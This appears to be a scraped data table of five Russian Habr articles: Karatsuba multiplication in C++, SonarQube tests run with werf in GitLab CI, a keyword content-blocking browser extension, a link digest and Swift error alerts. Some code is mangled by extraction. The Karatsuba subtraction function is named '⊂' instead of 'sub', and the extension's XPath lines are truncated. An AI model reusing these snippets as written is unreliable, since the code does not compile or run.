text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Умножение длинных чисел методом Карацубы
На днях нужно было разобраться с этим алгоритмом, но беглый поиск в google ничего путнего не дал. На Хабре тоже нашлась только одна [статья](http://habrahabr.ru/blogs/algorithm/121950/), которая мне не особо помогла. Разобравшись, попробую поделиться с общественностью в доступной форме:
Алгоритм
========
Алгоритм Карацубы — метод быстрого умножения со сложностью вычисления nlog23. В то время, как наивный алгоритм, умножение в столбик, требует n2 операций. Следует заметить, что при длине чисел короче нескольких десятков знаков (точнее определяется экспериментально), быстрее работает обычное умножение.
Представим, что есть два числа A и B длиной n в какой-то системе счисления BASE:
A = an-1an-2...a0
B = bn-1an-2...a0, где a?, b? — значение в соотв. разряде числа.
Каждое из них можно представить в виде суммы их двух частей, половинок длиной m = n / 2 (если n нечетное, то одна часть короче другой на один разряд:
A0 = am-1am-2...a0
A1 = an-1an-2...am
A = A0 + A1 \* BASEm
B0 = bm-1bm-2...b0
B1 = bn-1bn-2...bm
B = B0 + B1 \* BASEm
Тогда: A \* B = ( A0 + A1 \* BASEm ) \* ( B0 + B1 \* BASEm ) = A0 \* B0 + A0 \* B1 \* BASEm + A1 \* B0 \* BASEm + A1 \* B1 \* BASE2 \* m = A0 \* B0 + ( **A0 \* B1 + A1 \* B0** ) \* BASEm + A1 \* B1 \* BASE2 \* m
Здесь нужно 4 операции умножения (части формулы \* BASE? \* m не являются умножением, фактически указывая место записи результата, разряд). Но с другой стороны:
( A0 + A1 ) \* ( B0 + B1 ) = A0 \* B0 + **A0 \* B1 + A1 \* B0** + A1 \* B1
Посмотрев на выделенные части в обоих формулах. После несложных преобразований количество операций умножения можно свести к 3-м, заменив два умножения на одно и несколько операций сложения и вычитания, время выполнения которых на порядок меньше:
**A0 \* B1 + A1 \* B0** = ( A0 + A1 ) \* ( B0 + B1 ) — A0 \* B0 — A1 \* B1
Окончательный вид выражения:
A \* B = A0 \* B0 + (( A0 + A1 ) \* ( B0 + B1 ) — A0 \* B0 — A1 \* B1 ) \* BASEm + A1 \* B1 \* BASE2 \* m
Графическое представление:
Пример
======
Для примера умножим два восьмизначных числа в десятичной системе 12345 и 98765:
Из изображении явно видна рекурсивная природа алгоритма. Для числа длиной менее четырех разрядов применялось наивное умножение.
Реализация на C++
=================
Наверное, следует начать с того, как хранятся длинные числа. Длинные числа удобно представлять в виде массивов, где каждый элемент соответсвует разряду, причем младшие разряды хранятся в элементах с меньшими индексами (то есть задом-наперед) — так их удобнее обрабатывать. Например:
`int long_value[] = { 9, 8, 7, 6, 5, 4} //представление числа 456789`
Для увеличения быстродействия желательно выбрать за основание системы счисления максимальное число в рамках базовых типов. Но при этом на него накладываются следующие условия:
1. Квадрат максимального числа в выбранной системе счисления должен помещаться в выбранный базовый тип. Это необходимо для хранения произведения одного разряда на другой в промежуточных вычислениях.
2. Выбранный базовый тип желательно брать знаковый. Это позволить избавиться от нескольких промежуточных нормализаций.
3. Лучше, чтобы в разряд помещалось сумма из нескольких квадратов максимального числа. Это позволит избавиться от нескольких промежуточных нормализаций.
Ниже приведена рабочая функция умножения с комментариями со всеми необходимыми вспомогательными объявлениями и функциями. Для более высокой производительности следует поменять основание системы счисления, тип для хранения разрядов и раскоментировать небольшой отрывок кода в месте отвечающем за наивное умножение:
> `1. #include
> 2.
> 3. #define BASE 10 //система счисления
> 4. #define MIN\_LENGTH\_FOR\_KARATSUBA 4 //числа короче умножаются квадратичным алгоритмом
> 5. typedef int digit; //взят только для разрядов числа
> 6. typedef unsigned long int size\_length; //тип для длинны числа
> 7.
> 8. using namespace std;
> 9.
> 10. struct long\_value { //тип для длинных чисел
> 11. digit \*values; //массив с цифрами числа записанными в обратном порядке
> 12. size\_length length; //длинна числа
> 13. };
> 14.
> 15. long\_value sum(long\_value a, long\_value b) {
> 16. /\* функция для суммирования двух длинных чисел. Если суммируются числа разной длинны
> 17. \* то более длинное передется в качестве первого аргумента. Возвращает новое
> 18. \* ненормализованное число.
> 19. \*/
> 20. long\_value s;
> 21. s.length = a.length + 1;
> 22. s.values = new digit[s.length];
> 23.
> 24. s.values[a.length - 1] = a.values[a.length - 1];
> 25. s.values[a.length] = 0;
> 26. for (size\_length i = 0; i < b.length; ++i)
> 27. s.values[i] = a.values[i] + b.values[i];
> 28. return s;
> 29. }
> 30.
> 31. long\_value ⊂(long\_value &a, long\_value b) {
> 32. /\*функция для вычитания одного длинного числа из другого. Изменяет содержимое первого
> 33. \* числа. Возвращает ссылку на первое число. Результат не нормализован.
> 34. \*/
> 35. for (size\_length i = 0; i < b.length; ++i)
> 36. a.values[i] -= b.values[i];
> 37. return a;
> 38. }
> 39.
> 40. void normalize(long\_value l) {
> 41. /\*Нормализация числа - приведение каждого разряда в соответствие с системой счисления.
> 42. \*
> 43. \*/
> 44. for (size\_length i = 0; i < l.length - 1; ++i) {
> 45. if (l.values[i] >= BASE) { //если число больше максимального, то организовавается перенос
> 46. digit carryover = l.values[i] / BASE;
> 47. l.values[i + 1] += carryover;
> 48. l.values[i] -= carryover \* BASE;
> 49. } else if (l.values[i] < 0) { //если меньше - заем
> 50. digit carryover = (l.values[i] + 1) / BASE - 1;
> 51. l.values[i + 1] += carryover;
> 52. l.values[i] -= carryover \* BASE;
> 53. }
> 54. }
> 55. }
> 56.
> 57. long\_value karatsuba(long\_value a, long\_value b) {
> 58. long\_value product; //результирующее произведение
> 59. product.length = a.length + b.length;
> 60. product.values = new digit[product.length];
> 61.
> 62. if (a.length < MIN\_LENGTH\_FOR\_KARATSUBA) { //если число короче то применять наивное умножение
> 63. memset(product.values, 0, sizeof(digit) \* product.length);
> 64. for (size\_length i = 0; i < a.length; ++i)
> 65. for (size\_length j = 0; j < b.length; ++j) {
> 66. product.values[i + j] += a.values[i] \* b.values[j];
> 67. /\*В случае изменения MIN\_LENGTH\_FOR\_KARATSUBA или BASE расскоментировать следующие
> 68. \* строки и подобрать соотв. значения для исключения переполнения разрядов.
> 69. \* Например для десятичной системы счисления число 100, означает, что организовавается
> 70. \* перенос 1 через один разряд, 200 - перенос 2 через один разрряд, 5000 - 5 через два.
> 71. \* if (product.values[i + j] >= 100){
> 72. \* product.values[i + j] -= 100;
> 73. \* product.values[i + j + 2] += 1;
> 74. \* }
> 75. \*/
> 76. }
> 77. } else { //умножение методом Карацубы
> 78. long\_value a\_part1; //младшая часть числа a
> 79. a\_part1.values = a.values;
> 80. a\_part1.length = (a.length + 1) / 2;
> 81.
> 82. long\_value a\_part2; //старшая часть числа a
> 83. a\_part2.values = a.values + a\_part1.length;
> 84. a\_part2.length = a.length / 2;
> 85.
> 86. long\_value b\_part1; //младшая часть числа b
> 87. b\_part1.values = b.values;
> 88. b\_part1.length = (b.length + 1) / 2;
> 89.
> 90. long\_value b\_part2; //старшая часть числа b
> 91. b\_part2.values = b.values + b\_part1.length;
> 92. b\_part2.length = b.length / 2;
> 93.
> 94. long\_value sum\_of\_a\_parts = sum(a\_part1, a\_part2); //cумма частей числа a
> 95. normalize(sum\_of\_a\_parts);
> 96. long\_value sum\_of\_b\_parts = sum(b\_part1, b\_part2); //cумма частей числа b
> 97. normalize(sum\_of\_b\_parts);
> 98. long\_value product\_of\_sums\_of\_parts = karatsuba(sum\_of\_a\_parts, sum\_of\_b\_parts);
> 99. // произведение сумм частей
> 100.
> 101. long\_value product\_of\_first\_parts = karatsuba(a\_part1, b\_part1); //младший член
> 102. long\_value product\_of\_second\_parts = karatsuba(a\_part2, b\_part2); //старший член
> 103. long\_value sum\_of\_middle\_terms = sub(sub(product\_of\_sums\_of\_parts, product\_of\_first\_parts), product\_of\_second\_parts);
> 104. //нахождение суммы средних членов
> 105.
> 106. /\*
> 107. \* Суммирование многочлена
> 108. \*/
> 109. memcpy(product.values, product\_of\_first\_parts.values,
> 110. product\_of\_first\_parts.length \* sizeof(digit));
> 111. memcpy(product.values + product\_of\_first\_parts.length,
> 112. product\_of\_second\_parts.values, product\_of\_second\_parts.length
> 113. \* sizeof(digit));
> 114. for (size\_length i = 0; i < sum\_of\_middle\_terms.length; ++i)
> 115. product.values[a\_part1.length + i] += sum\_of\_middle\_terms.values[i];
> 116.
> 117. /\*
> 118. \* Зачистка
> 119. \*/
> 120. delete [] sum\_of\_a\_parts.values;
> 121. delete [] sum\_of\_b\_parts.values;
> 122. delete [] product\_of\_sums\_of\_parts.values;
> 123. delete [] product\_of\_first\_parts.values;
> 124. delete [] product\_of\_second\_parts.values;
> 125. }
> 126.
> 127. normalize(product); //конечная нормализация числа
> 128.
> 129. return product;
> 130. }
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/124258/ | null | ru | null |
# Запускаем тесты на GitLab Runner с werf — на примере SonarQube
Если в качестве инфраструктуры, где разворачивается приложение, выступает Kubernetes, можно сказать, что существует два способа запуска тестов (и других утилит для анализа кода) в CI/CD:
* непосредственно в кластере K8s — с помощью отдельных Job или Helm hooks;
* «снаружи» K8s — например, на сервере сборки/деплоя или локально у разработчиков.
Первый подход мы достаточно подробно описывали на интересном примере с базами данных в статье «[Как мы выносили СУБД (и не только) из review-окружений в статическое](https://habr.com/ru/company/flant/blog/501424/)». В этой статье рассмотрен более простой путь — запуск вне K8s-кластера. Делать мы это будем на примере SonarQube-тестов в рамках CI/CD, построенного на базе GitLab с использованием werf.
Стоит помнить, что такой метод подходит только для тех тестов, которые не требуют подключения к другим объектам в инфраструктуре. С другой стороны, этот вариант хорош тем, что позволяет экономить кластерные ресурсы: нам не нужно выделять дополнительные ресурсы в K8s, поскольку вместо этого используются внешние мощности (локальных машин или сервера сборки/деплоя).
Для запуска тестов будет использоваться CI/CD-утилита [werf](https://ru.werf.io/), которая позволяет работать с полным жизненным циклом доставки приложений, а в частности — удобно собирать Docker-образы, а потом запускать их локально. Если вы уже используете werf, встраивание дополнительных команд будет совсем тривиальным, а если нет — на данном примере можно увидеть, как удобно контролировать все процессы CI/CD в одном месте.
Теперь — к непосредственной практике.
Подготовка: внедряем тесты в пайплайн приложения
------------------------------------------------
Основная особенность использования тестов и других анализаторов кода в CI/CD — необходимость устанавливать дополнительные пакеты/конфигурационные файлы в Docker-образ приложения. Установка все в один образ увеличивает размер итогового образа и добавляет неиспользуемые файлы во время запуска самого приложения.
В качестве альтернативного варианта\* можно использовать *отдельную* сборку Docker-образа со всеми необходимыми зависимостями для тестов. Такая сборка будет выполняться параллельно сборке основного образа и использоваться только там, где требуется.
*\* Известная многим лучшая практика гласит, что для всех целей применения (от тестов и отладки до запуска в production) должен собираться единственный образ. Поэтому вариант со сборкой другого образа может быть допустим разве что для случаев, когда требуется тестировать только исходный код приложения. В таком варианте можно основной образ приложения использовать в виде [артефакта](https://ru.werf.io/documentation/advanced/building_images_with_stapel/artifacts.html) в образе для тестов.*
Также обращаю внимание, что хотя последующие примеры основаны на использовании тестов с [SonarQube](https://www.sonarqube.org/), это не мешает выполнять аналогичные действия и с другими инструментами.
В werf реализация задуманного осуществляется с помощью переменных окружения, устанавливаемых в определенной Job в CI/CD-пайплайне.
Для конфигурации на стороне GitLab CI/CD потребуется определить Job с тестами (в `.gitlab-ci.yml`) примерно так:
```
Build sonar-tests:
stage: build
script:
- werf build-and-publish
variables:
SONAR_TESTS: "yes"
tags:
- werf
only:
- schedules
```
Как видно, в `variables` определяется переменная `SONAR_TESTS`, которая и будет задействована в сборке через werf.
Не будем подробно останавливаться на том, как в целом реализуется сборка с помощью werf: эту информацию можно найти в [документации утилиты](https://ru.werf.io/documentation/index.html), а полный конфиг для нашего случая будет приведен ниже.
В рамках подготовительных работ важно заметить, что в конфигурации сборки (`werf.yaml`) появится следующий блок:
```
{{ if eq (env "SONAR_TESTS") "yes" }}
---
image: sonar-tests
from: node:10.16.0
# остальные этапы сборки
# ...
{{ end }}
```
Т.е. теперь мы можем обратиться к той переменной `SONAR_TESTS`, что задали в GitLab CI/CD. Так легко контролировать этапы сборки с помощью переменных.
Собираем образы тестов в werf
-----------------------------
Перейдем к непосредственному созданию инструкций для сборки Docker-образа с помощью werf. В этом образе требуются следующие элементы:
1. исходный код приложения;
2. необходимые пакеты/файлы для запуска Sonar-тестов;
3. информация о токене, URL до Sonarqube dashboard и названии приложения в конфигурационном файле.
Получается следующий набор инструкций для werf:
```
{{ $sonar_version := "4.4.0.2170"}}
{{ if eq (env "SONAR_TESTS") "yes" }}
---
image: sonar-tests
from: node:10.16.0
git:
- add: /
to: /app
ansible:
install:
- name: "npm install sonar"
shell: |
npm install --no-save -D sonarqube-scanner
args:
chdir: /app
- name: "Install default-jdk"
apt:
update_cache: yes
state: present
name:
- default-jdk
- name: "install sonarqube scanner"
args:
chdir: /app
shell: |
wget https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-{{ $sonar_version }}.zip
mkdir -p /root/.sonar/native-sonar-scanner/
unzip -qq sonar-scanner-cli-{{ $sonar_version }}.zip -d /root/.sonar/native-sonar-scanner/
mv /root/.sonar/native-sonar-scanner/sonar-scanner-{{ $sonar_version }}/ /root/.sonar/native-sonar-scanner/sonar-scanner-{{ $sonar_version }}-linux/
- name: "Setup /app/sonar.js"
copy:
content: |
{{ tpl (.Files.Get ".werf/sonar.js") . | indent 8 }}
dest: /app/sonar.js
{{ end }}
{{ end }}
```
Опять же, полную информацию по структуре и содержанию werf.yaml можно найти в [документации](https://ru.werf.io/documentation/configuration/introduction.html). Здесь мы рассмотрим только основные инструкции. Итак, установка необходимых компонентов в образ состоит из следующих операций:
1. Добавление исходного кода приложения в образ с помощью Git-модуля werf.
2. Инсталляция через NPM пакетов `sonar` и `sonarqube-scanner`. Эти пакеты требуются для поддержки SonarQube в Node.js-приложении.
3. Установка JDK, который потребуется для запуска тестов.
4. Загрузка .jar-файла `sonar-scanner`, для которого мы и устанавливаем JDK.
5. Добавление конфигурационного файла `sonar.js` с помощью функции `.Files.Get`. Подробнее см. далее.
Что за файл, находящийся по адресу `.werf/sonar.js`? Это конфиг, в котором хранится вся необходимая информация для запуска Sonar-тестов. Посмотрим на его содержимое:
```
{{ $_ := env "SONAR_TOKEN" | set . "Token" }}
{{ $_ := env "SONAR_PROJECT" | set . "Project" }}
{{ $_ := env "SONAR_URL" | set . "Url" }}
const sonarqubeScanner = require('sonarqube-scanner');
sonarqubeScanner( {
serverUrl : "{{ .Url }}",
token : "{{ .Token }}",
options: {
'sonar.projectName': "{{ .Project }}",
'sonar.projectDescription': 'Description for "{{ .Project }}" project...',
'sonar.sources': '.',
'sonar.projectKey': "{{ .Project }}",
'sonar.projectBaseDir': '/app'
}
},
() => process.exit()
)
```
В трёх первых строчках перечисляются переменные окружения, которые определяются, например, в GitLab CI/CD Variables. В дальнейшем, т.е. во время сборки/деплоя, эти переменные могут использоваться аналогично тому, как мы уже показывали в `werf.yaml` (через встроенную конструкцию werf).
Подробнее об определяемых переменных:
1. `SONAR_TOKEN` — токен, который вы создаете в самом SonarQube; именно через него производится авторизация в SonarQube;
2. `SONAR_PROJECT` — название созданного проекта в SonarQube;
3. `SONAR_URL` — URL к SonarQube (может быть как внешним URL, так и адресом до сервиса).
В результате сборки (`werf build`) по таким конфигам (`werf.yaml`
и `sonar.js`) получается Docker-образ (под названием `sonar-tests`), который можно использовать для запуска Sonar-тестов, чем мы и займемся в следующей главе.
*NB: Аналогичным образом можно собирать и запускать linting-тесты (речь не про что-то компилируемое), интеграционные тесты и т.д., причем даже в Kubernetes-окружении, а не только локально (в любом случае как минимум экономится место в основном образе).*
Запускаем тесты с помощью команды werf run
------------------------------------------
Последний этап — запуск тестов локально на GitLab Runner.
Для этого в GitLab CI/CD определяется отдельная Job, в которой будут запускаться тесты. Например:
```
Deploy sonar-tests:
script:
- werf run sonar-tests -- bash -c "node /app/sonar.js"
tags:
- werf
stage: deploy
environment:
name: sonar-tests
only:
- schedules
variables:
SONAR_TESTS: "yes"
after_script:
- echo "Scan results are here https://sonar/dashboard?id=${SONAR_PROJECT}"
when: always
dependencies:
- Build sonar-tests
```
Здесь используется единственная команда:
```
werf run sonar-tests -- bash -c "node /app/sonar.js"
```
В её первой части указывается название образа для запуска (`sonar-tests`, берётся из `werf.yaml`), во второй — команда для выполнения внутри контейнера.
Теперь пайплайн будет запускать Sonar-тесты на GitLab Runner, а их результаты — публиковать в SonarQube Dashboard.
Заключение
----------
Описанный вариант запуска тестов в первую очередь будет полезен тем, кто уже использует werf или собирается его внедрить в своем проекте. С `werf run` можно выполнять тесты непосредственно на самом Runner'е и вместо отдельных Docker-инструкций описывать всё непосредственно в werf, аккумулируя подобные элементы в одном месте.
Этот подход, конечно, позволяет запускать не только SonarQube-тесты: подойдут и любые другие решения, не требующие создания отдельного окружения для них (в виде отдельного сервера БД, очередей сообщений и т.д.).
Также он подойдет, если вы хотите запускать тесты не в кластере, а в локальном окружении или на самом Runner'е, не используя ресурсы кластера.
P.S.
----
Кстати, для разработчиков, только начинающих знакомиться с werf, мы подготовили увлекательный онлайн-самоучитель по этой утилите — [попробуйте](https://ru.werf.io/applications_guide_ru/?utm_campaign=habr_sonarqube)!
Читайте также в нашем блоге:
* «[JUnit в GitLab CI с Kubernetes](https://habr.com/ru/company/flant/blog/460897/)»;
* «[Из жизни с Kubernetes: Как мы выносили СУБД (и не только) из review-окружений в статическое](https://habr.com/ru/company/flant/blog/501424/)»;
* «[Организация распределенного CI/CD с помощью werf](https://habr.com/ru/company/flant/blog/504390/)». | https://habr.com/ru/post/526702/ | null | ru | null |
# Блокировка контента, расширение для браузеров chromium
Основной тренд этого года «блокировка», описанное ниже расширение, позволяет почувствовать власть над контентом в браузере.
Помню давно, в детстве, при просмотре телевизора, во время рекламных блоков, всегда делался некий перерыв как школьная перемена, сходить на кухню или отхожее место, по переключать по другим каналам, с возрастом добавился перекур.
Сейчас телевизор смотрю редко, новости читаю в интернете, пользуюсь блокировщиками рекламы. По телефону когда звонят и пытаются навязать финансовые услуги или оконного мастера, кладу трубку. Иногда за редким исключением бывают интересные или веселые рекламные ролики, но даже такие ролики после второго просмотра превращаются в обычную рекламу.
Пару лет назад, заметил, что на всех новостных сайтах, можно сказать ни дня не проходило без новостей про блогеров: у таких-то блогеров конфликт или блогеры в госдуме. Блогер такой-то «какое-то новое имя» и как обычно ,«самый, самый» блогер из всех остальных блогеров. При этом, редко когда пишут критерии, почему он «самый, самый», чтобы читающий посмотрел ролики или поискал в интернете, что в очередном блогере «самого, самого». Блогеры вводят новое слово «зашквар», блогеры ополчились на того-то, блогеры делают своё шоу.
Последний год про блогеров новостей стало меньше, лидер нынче «Б… ва», специально не упоминаю, есть риск превратить статью в очередную новость про «Б… ву», и так каждый день новая новость. Журналисты, зачастую, игрой слов в заголовке буквально заставляют перейти по ссылке.
Написал бы еще несколько примеров, но не буду, так как описанное выше — не попытка с помощью критики других самому быть хорошим. С любыми вещами может быть перебор или overdose. Я, более чем уверен, что у всех есть свои «лидеры» в новостях, которых они предпочли бы не видеть, без них их день стал бы лучше.
Приведенные примеры по сути являются своеобразной рекламой, но распространяясь в виде новостей, не попадают под всякие блокировщики рекламы. Во многих браузерах есть встроенная блокировка рекламы, но к сожалению, там нет возможности блокировать контент по словам в содержании. Пробовал искать в расширениях, но с нужным описанием не нашел, попадались на глаза блокировщики рекламы, вроде бы так же умеющие блокировать по словам, но не стал пробовать ставить. Видел, недавно, несколько статей о том, что не все расширения безопасны, да и интереснее написать свое, простое, только с необходимой функцией выпиливания контента.
Статей по созданию расширений много, но эта статья не инструкция по созданию.
Первая версия расширения получилась буквально за пару часов, алгоритм выпиливания прост и универсален. Обратная сторона универсальности это то, что алгоритм может не подойти для всех сайтов. Но для видимости работы расширения пришлось написать еще много кода для отображения счетчиков, скрытого контента для каждой страницы.
Часть content\_script.js – основная логика блокировки контента:
```
let search = document.evaluate('/html/body//*[contains(., "Б...в") and count(child::node())
```
В приведенном фрагменте видно, что используется метод «document.evaluate». При поиске текста в тегах в результаты также попадают и корневые элементы. Например текст всей страницы, текст блока новостей и.т.д. Для исключения лишних элементов используется второе условие на количество вложенных child. В моем случае подошло число 9. На трех сайтах лишнее скрывается быстро и просто, правда иногда на одном из сайтов в определенном блоке остается фото, но без ссылки на новость и ссылки на картинке.
Было изначально желание, сделать также страницу настроек расширения, возможно позднее сделаю. А пока основные настройки делаются в прямо в коде.
Часть background.js – настройки блокировки контента:
```
let childsLimit = 9;
let blockString = '[contains(., "Б...в") and count(child::node())
```
Первая переменная «childsLimit» позволяет задать общий уровень вложенности, блокируемых элементов.
Вторая переменная «blockString» содержит условие xpath, при добавлении нового слова необходимо скопировать все вместе с квадратными скобками и добавить в конец со словом «or» и после заменить слово поиска в кавычках.
```
let blockString = '[contains(., "СловоБлокировки1") and count(.//*)
```
Третья переменная «urlOptions» позволяет сделать тонкую настройку для разных сайтов.
Свойство «url» — содержит адрес для которого будет применена настройка.
Свойство «unBlock» — булево значение true позволяет не блокировать контент на указанном в «url» сайте
Свойство «childsLimit» уровень вложенности блокируемого элемента контента.
Четвертая переменная «blockOnlyUrlOpt» позволяет определить общую логику. Если значение «true» блокировка работает только на сайтах перечисленных в переменной массиве «urlOptions», где свойство «unBlock» равно «false».
[Файлы расширения доступны по ссылке](https://github.com/PloAl/ContentBlocking)
Для установки необходимо:
* Скачать все файлы в любую удобную вам папку.
* В браузере перейти в расширения и включить режим разработчика.
* По кнопке «Загрузить распакованное расширение...» указать папку из пункта один.
Разрабатывал и тестировал в браузере Opera, также должно работать и других chromium браузерах. | https://habr.com/ru/post/425361/ | null | ru | null |
# Несколько интересностей и полезностей для веб-разработчика #21
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.
#### [Awesome Python](https://github.com/vinta/awesome-python)
Автор этого огромного списка полезностей для питонистов также как и автор похожего репозитория для сисадминов из прошлой моей подборки был вдохновлен проектом Awesome PHP. Это просто отличная тенденция, которая не может не радовать.
#### [Chart.js](https://github.com/nnnick/Chart.js)
[](https://github.com/nnnick/Chart.js)
Потрясающие интерактивные графики и диаграммы на HTML5 Canvas. Chart.js не зависит от сторонник библиотек, работает во всех современных браузерах и даже в IE7/8 с полифилом, адаптивный к мобильный устройствам, очень гибкий и модульный. Выглядит все на самом деле очень красиво, но признаюсь я не настолько детально изучил проект, чтобы сказать чем он лучше [DC.js](https://github.com/dc-js/dc.js) из моего [19 выпуска](http://habrahabr.ru/post/227069/). Дело в том, что Chart за несколько дней собрал почти 10 000 звезд на GitHub.
Ну и для того, чтобы добить тему визуализации данных, оставлю ссылку на [Amcharts](http://www.amcharts.com/). Проект не open-source, но вы можете пользоваться им бесплатно, если будете размещать логотип. Хочу обратить ваше внимание на то, что с этой библиотекой работают Microsoft, Amazon, IBM, Bank of America, NASA, P&G, PayPal и многие другие мировые корпорации.
#### [Cockpit](http://getcockpit.com/)
[](http://getcockpit.com/)
Cockpit или «кабинка летчика», как перевел Яндекс — простая, гибкая и функциональная CMS на PHP, которая будет отличным выбором при создании небольшого проекта. Cockpit позволит вам с легкостью управлять контентом, блоками и медиафайлами, создавать галереи и формы. Также система предоставляет удобный API на JavaScript для всех ваших «асинхронных» мыслей. Ну и выглядит «кабинка» очень неплохо.
#### [Lunr.js](https://github.com/olivernn/lunr.js)
«A bit like [Solr](http://ru.wikipedia.org/wiki/Apache_Solr), but much smaller and not as bright». Библиотека для полноценного поиска на стороне клиента. Lunr индексирует JSON и подбирает максимально релевантные тексту запроса ответы.
```
var idx = lunr(function () {
this.field('title', { boost: 10 })
this.field('body')
})
// Добавляем документ к индексу
var doc = {
"title": "Twelfth-Night",
"body": "If music be the food of love, play on: Give me excess of it…",
"author": "William Shakespeare",
"id": 1
}
idx.add(doc)
// Ищем
idx.search("love")
```
#### [Widgy](http://wid.gy/)
[](http://wid.gy/)
Отличная CMS, написанная на Python и Django. В Witgy вас обязательно порадует обилие всевозможных модулей и простота подключения Django Apps. Весь функционал грамотно представлен в удобном Drag & Drop интерфейсе. Ну и здесь очень круто реализован визуальный редактор, который построен на основе CKEditor. Это совсем не типичный WYSIWYG, поскольку больше напоминает полноценный site-builder с конструктором страниц. Разработчики уделили много внимания API и назвали его django-widgy. С их слов django-widgy это гетерогенный древовидный редактор для Django, где каждый узел самостоятельня единица.
#### [Cayley — graph database от Google](https://github.com/google/cayley)
[](http://)
#### Западные мысли или что стоило бы перевести на Хабре:
* [The introduction to Reactive Programming you've been missing](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754)
* [JavaScript Modules](http://jsmodules.io/)
* [Don’t Be Scared Of Functional Programming](http://www.smashingmagazine.com/2014/07/02/dont-be-scared-of-functional-programming/)
* [JavaScript CustomEvent](http://davidwalsh.name/customevent)
* [Deb.js: the Tiniest Debugger in the World](http://code.tutsplus.com/tutorials/debjs-the-tiniest-debugger-in-the-world--cms-21565)
* [PHP Fights HHVM and Zephir with PHPNG](http://www.sitepoint.com/php-fights-hhvm-zephir-phpng/)
* [Detect, Undo And Redo DOM Changes With Mutation Observers](http://addyosmani.com/blog/mutation-observers/)
* [Create Vertical Rhythm on Your Webpage](http://designmodo.com/vertical-rhythm/)
* [Designing A Better Mobile Checkout Process](http://www.smashingmagazine.com/2013/03/14/designing-a-better-mobile-checkout-process/)
* [Pixel perfect: the story of eBoy](http://www.theverge.com/2014/6/17/5803850/pixel-perfect-the-story-of-eboy)
* [Persuasion: Applying the Elaboration Likelihood Model to Design](http://alistapart.com/article/persuasion-applying-the-elaboration-likelihood-model-to-design)
* [Facing Your Fears: Approaching People For Research](http://www.smashingmagazine.com/2014/06/30/facing-your-fears-approaching-people-for-research/)
#### Напоследок:
* **Cakebrew - GUI для вашего Homebrew**[](https://www.cakebrew.com/)
* [Detect.js](https://github.com/darcyclarke/Detect.js) — определяет все, что только может определить JavaScript о браузере.
* [HTMLHint](https://github.com/yaniswang/HTMLHint) — анализирует ошибки в HTML.
* [Сollections.js](http://www.collectionsjs.com/) — решение для всех задач связанных с коллекциями.
* [Godropbox](https://github.com/dropbox/godropbox) — комплект библиотек для написания приложений на Go от команды Dropbox.
* [Passwordless](https://passwordless.net/) — npm модуль для авторизации без пароля.
* [Material design for Angular](https://github.com/angular/material).
* [simpl](https://github.com/samdutton/simpl) — живые примеры всех самых новых возможностей HTML, CSS и JS с Google I/O.
* [Agile](http://a-jie.github.io/Agile/) — очень необычный инструмент, который позволяет писать анимации на JS, после чего произойдет «компиляция» в чистый CSS.
* [Boba.js](http://boba.space150.com/) — библиотека для удобной работы с Google Analytics.
* [gifffer](https://github.com/krasimir/gifffer) — предотвращает автовоспроизведение .gif анимации.
* [«Astrobench: тестирование производительности JavaScript кода»](http://habrahabr.ru/post/228223/)
* [«Ribs.js — вложенные атрибуты, вычисляемые поля и биндинги для Backbone.js»](http://habrahabr.ru/company/mailru/blog/228135/) от [ZaValera](https://habrahabr.ru/users/zavalera/)
* [«Документация Mojolicious: Потерянные Главы»](http://habrahabr.ru/post/228141/) — от [powerman](https://habrahabr.ru/users/powerman/)
[**Предыдущая подборка (Выпуск 20)**](http://habrahabr.ru/post/227969/`/)
Приношу извинения за возможные опечатки. Если вы заметили проблему — напишите, пожалуйста, в личку.
Спасибо всем за внимание. | https://habr.com/ru/post/228757/ | null | ru | null |
# Из ошибки в алерт с действиями
Привет, Хабр! Для пользователя сообщения об ошибке часто выглядят как «Что-то не так, АААА!». Конечно, ему бы хотелось вместо ошибок видеть волшебную ошибку «Починить все». Ну или другие варианты действий. Мы начали активно добавлять себе такие, и я хочу рассказать про то, как вы можете это сделать.
Сначала представлюсь — меня зовут Александр, последние шесть лет я посвятил iOS-разработке. Сейчас отвечаю за мобильное приложение ManyChat и проблемы буду решать на его примере.
Давайте сразу сформулируем, что мы будем делать:
* Добавим типу Error функциональности
* Превратим ошибки в понятные для пользователя алерты
* Выведем в интерфейс возможные дальнейшие действия и обработаем их нажатия
И все это будет на Swift:)
Будем решать проблему с примера. Сервер вернул ошибку с кодом 500 вместо ожидаемых 200. Что стоит сделать разработчику? Как минимум, с грустью сообщить пользователю — ожидаемый пост с котикам не удалось загрузить. В Apple стандартным паттерном является алерт, поэтому напишем простую функцию:
```
final class FeedViewController: UIViewController {
// Где-то в глубине кода
func handleFeedResponse(...) {
/// Где-то внутри функции обработки ответа
if let error = error {
let alertVC = UIAlertController(
title: "Error",
message: "Error connecting to the server",
preferredStyle: .alert)
let action = UIAlertAction(title: "OK", style: .default, handler: nil)
alertVC.addAction(action)
self.present(alertVC, animated: true, completion: nil)
}
}
```
**P.S.** Для простоты большая часть кода будет в контролере. Вы вольны использовать те же подходы в вашей архитектуре. Код статьи будет доступен в [репозитории](https://github.com/aleksiosdev/RecoverableError.git), в конце статьи эта ссылка тоже будет.
Получим вот такую картинку:
Теоретически задачу мы выполнили. Но сразу бросается в глаза несколько вещей:
* Мы не дали возможности как-то перейти из ошибочного сценария в успешный. ОК в текущем кейсе просто скроет алерт — и это не решение
* С точки зрения пользовательского опыта текст нужно сделать понятней, нейтральней. Чтобы пользователь не пугался и не бежал ставить одну звезду в AppStore вашему приложению. При этом подробный текст пригодился бы нам при дебаге
* И, будем честны — алерты несколько устарели как решение (все чаще в приложениях появляются либо экраны-заглушки, либо тосты). Но это уже вопрос, который стоит обсудить отдельно с командой
Согласитесь, представленный ниже вариант выглядит гораздо симпатиШнее
Какой бы вариант вы ни выбрали, под любой из них нужно будет продумать такой механизм показа сообщения, который будет выглядеть отлично при возникновении произвольной ошибки, предложит пользователю ясный сценарий для дальнейшей работы в приложении и предоставит набор действий. При этом решение:
* Должно быть расширяемым. Все мы знаем о свойственной дизайну изменчивости. Наш механизм должен быть готов ко всему
* Добавляется к объекту (и убирается) в пару строчек кода
